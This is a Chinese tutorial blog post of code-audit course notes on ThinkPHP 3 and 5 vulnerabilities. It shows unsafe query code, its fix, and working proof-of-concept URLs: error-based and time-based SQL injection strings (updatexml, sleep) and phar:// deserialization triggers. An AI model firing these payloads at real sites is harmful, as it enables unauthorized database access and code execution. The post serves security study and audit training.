DAY110代码审计-PHP框架开发篇ThinkPHP版本缺陷不安全写法路由访问利用链

https://blog.csdn.net/m0_60571842/article/details/139057898

看这个原作者

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比(不是官方写法就是不安全写法)

-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞

https://github.com/hughink/Thinkphp-All-vuln

-配合黑盒工具检测找入

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用

满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞

搭建环境:

ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

  • 1

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件

5、参考开发手册学习如何开启调试模式

开启调试模式:/config/app.php

'app_debug'              => true,

'app_trace'              => true,

6、参考开发手册学习官方写法和不安全写法。

数据库查询操作

官方写法 预编译机制

public function login(Request $request)

{

    $id=$request->param('id');

    $data=Db::table('cw_admin')->where('id',$id)->find();

    return $data['user'].'|'.$data['pass'];

}

有回显

报错注入语句:

Home | Digital Business Services | TP

版本漏洞 反序列化phar

/index.php/index/login/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

Phpstudy_Pro+PHP7.3+Apache+Mysql

1

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

方法:xiaoxidel

参数:ids id

先登录看下路由地址

application/bbs/controller/User.php

3、application/bbs/controller/User.php(需要注册个用户才能触发)

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

问题在where语句是直接拼接SQL-where("id ={$id}")

如改为数组的传参就能修复此处问题-where("id",$id)

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php

方法:home

参数:ids id

/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

Thinkphp3.2.3-漏洞审计汇总 - FreeBuf网络安全行业门户

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php

$data = M('Article')->find(I('id'));

Application/Admin/Controller/ArticleController.class.php

http://shcoolcms//index.php?m=admin&c=Article&a=SaveInfo&id=1

4、Poc构造-利用数据库监控组合注入

/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#

四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql

1、查看版本-thinkphp/library/think/App.php(搜version找)

const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析

/admin.php/update/rmdirr.html?

dirname=phar://./public/upload/menubg/6543297dcccb9.png

/public/upload/userimages/6731d8db58e3a.png

/admin.php/update/rmdirr.html?dirname=phar://./public/upload/userimages/6731d928465e8.png

/public/upload/userimages/6731d928465e8.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/13724.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

网络安全技术在能源领域的应用

摘要 随着信息技术的飞速发展,能源领域逐渐实现了数字化、网络化和智能化。然而,这也使得能源系统面临着前所未有的网络安全威胁。本文从技术的角度出发,探讨了网络安全技术在能源领域的应用,分析了能源现状面临的网络安全威胁&a…

Ubuntu上nginx常用命令

错误截图 启用nginx systemctl start nginx 停止 systemctl stop nginx 重启 systemctl restart nginx 检查nginx配置文件是否正确 nginx -t -c /etc/nginx/nginx.conf 修改配置文件后,重新加载配置文件命令 nginx -s reload 查看nginx服务状态&#xff0c…

Shell编程之正则表达式与文本处理器

Shell编程之正则表达式与文本处理器 文章目录 Shell编程之正则表达式与文本处理器正则表达式正则表达式概述正则表达式的定义 基础正则表达式grep创建测试文件查找特定字符**查找行首与行位****查找任意字符和重复字符****查找连续字符范围**扩展正则表达式 扩展正则表达式文本…

机器情绪及抑郁症识别算法

🏡作者主页:点击! 🤖编程探索专栏:点击! ⏰️创作时间:2024年11月12日11点25分 点击开启你的论文编程之旅https://www.aspiringcode.com/content?id17231829233829 情感识别:多…

基于Java Springboot在线教育学习系统

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术:Html、Css、Js、Vue、Element-ui 数据库:MySQL 后端技术:Java、Spring Boot、MyBatis 三、运行环境 开发工具:IDEA/eclipse 数据…

Spring Boot编程训练系统:开发流程与技巧

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式,是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示: 图4-1系统工作原理…

【SSL-RL】自监督强化学习:自预测表征 (SPR)算法

📢本篇文章是博主强化学习(RL)领域学习时,用于个人学习、研究或者欣赏使用,并基于博主对相关等领域的一些理解而记录的学习摘录和笔记,若有不当和侵权之处,指出后将会立即改正,还望谅…

Station Editor更新和版本回退

一、更新 第一步点击import 第二步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 第十步 第十一步 第十二步 第十三步 、 第十四步 第十五步 第十六步 点击完update才能继续下一步 第十七步 第十八步,结束出来刷新一下就可以了

如何利用亚马逊自养号测评,实现店铺稳定出单的策略

企业的发展通常会经历一系列阶段,从起步、立足市场,到迅速扩张、达到顶峰,再到可能的市场适应或转型期,亚马逊平台上的店铺发展路径亦是如此。为了确保店铺能够长期立足于市场,关键在于有效利用其快速成长期和成熟期&a…

【Linux】基础IO及文件描述符相关内容详细梳理

0. C语言文件I/O 在C语言中,我们学习了相关函数来读写文件,例如:fopen,fwrite,fread,fprintf等, 在C语言中文件的打开方式: r Open text file for reading. …

DIY了一台无人机,用全志T113芯片

‌无人机飞控是无人机的核心部分,一般包括传感器、机载计算机和伺服作动设备三大部分,能否在对重量和体积有严苛要求的无人机结构上部署具有稳定功能的飞控,是影响无人机飞行表现的重要因素。 基于此,作者就基于全志T113-S3设计了…

vue+springboot天气预测大数据2+1架构|必须带有管理端和数据库爬虫等|机器学习预测使用

文末有CSDN官方提供的麦麦的联系微信! 文末有CSDN官方提供的麦麦的联系微信! 🩷编号:R04 🩷架构:21架构,大屏端管理端后端,vuespringbotmysql 🩵全新开发,代码完整&#…

Tofu AI视频处理模块视频输入配置方法

应用Tofu产品对网络视频进行获取做视频处理时,首先需要配置Tofu产品的硬件连接关系与设备IP地址、视频拉流地址。 步骤1 Tofu设备点对点直连或者通过交换机连接到电脑,电脑IP配置到与Tofu默认IP地址同一个网段。 打开软件 点击右上角系统设置 单击左侧…

地区级的可视化地图不设计,进来看看超炫的样式吧

地区级的可视化地图如果精心设计,能带来超炫的视觉效果。可以运用丰富的色彩来区分不同区域,使地图更加生动鲜明。 采用立体的图形设计,让地形地貌更加直观。添加动态效果,如数据的实时更新流动、热点区域的闪烁等,增…

《AI 使生活更美好》

《AI 使生活更美好》 当我们步入科技腾飞的时代,人工智能(AI)如同一颗璀璨的新星,照亮了我们生活的每一个角落。它以惊人的速度改变着我们的世界,从医疗到教育,从交通到娱乐,AI 正以前所未有的力…

数据结构 ——— 链式二叉树的销毁(释放)

目录 链式二叉树示意图 手搓一个链式二叉树 代码实现 示意图 手搓一个链式二叉树 代码演示: // 数据类型 typedef int BTDataType;// 二叉树节点的结构 typedef struct BinaryTreeNode {BTDataType data; //每个节点的数据struct BinaryTreeNode* left; //指向…

马斯克万卡集群AI数据中心引发的科技涟漪:智算数据中心挑战与机遇的全景洞察

一、AI 爆发重塑数据中心格局 随着AI 技术的迅猛发展,尤其是大模型的崛起,其对数据中心产生了极为深远的影响。大模型以其数以亿计甚至更多的参数和对海量数据的处理需求,成为了 AI 发展的核心驱动力之一,同时也为数据中心带来了…

LLM之模型评估:情感评估/EQ评估/幻觉评估等

如果您想知道如何确保 LLM 在您的特定任务上表现出色,本指南适合您!它涵盖了评估模型的不同方法、设计您自己的评估的指南以及来自实践经验的技巧和窍门。 Human-like Affective Cognition in Foundation Models:情感认知评估 研究者们提出了…

2024年大语言模型理论与实践报告|附77页PDF文件下载

本文提供完整版报告下载,请查看文后提示。 以下为报告节选: … 文│复旦大学 张奇 本报告共计:77页。 大模型&AI产品经理如何学习 求大家的点赞和收藏,我花2万买的大模型学习资料免费共享给你们,来看看有哪些…

项目总结报告,软件项目工作总结报告,项目总体控制报告,实施总结,运维总结等全资料(Word)

1. 项目进度 1.1. 进度表 1.2. 总结偏差 2. 项目成本 2.1. 项目规模 2.2. 项目工作量 3. 项目质量 3.1. 评审 4. 计划偏差 5. 测试总结 5.1. 缺陷分析 5.2. 测试Bug分布统计 5.3. Bug分布图 5.4. 总结 6. 最佳实践 7. 经验教训 7.1. 项目过程管理 7.2. 合同完成度管理 7.3. 项目…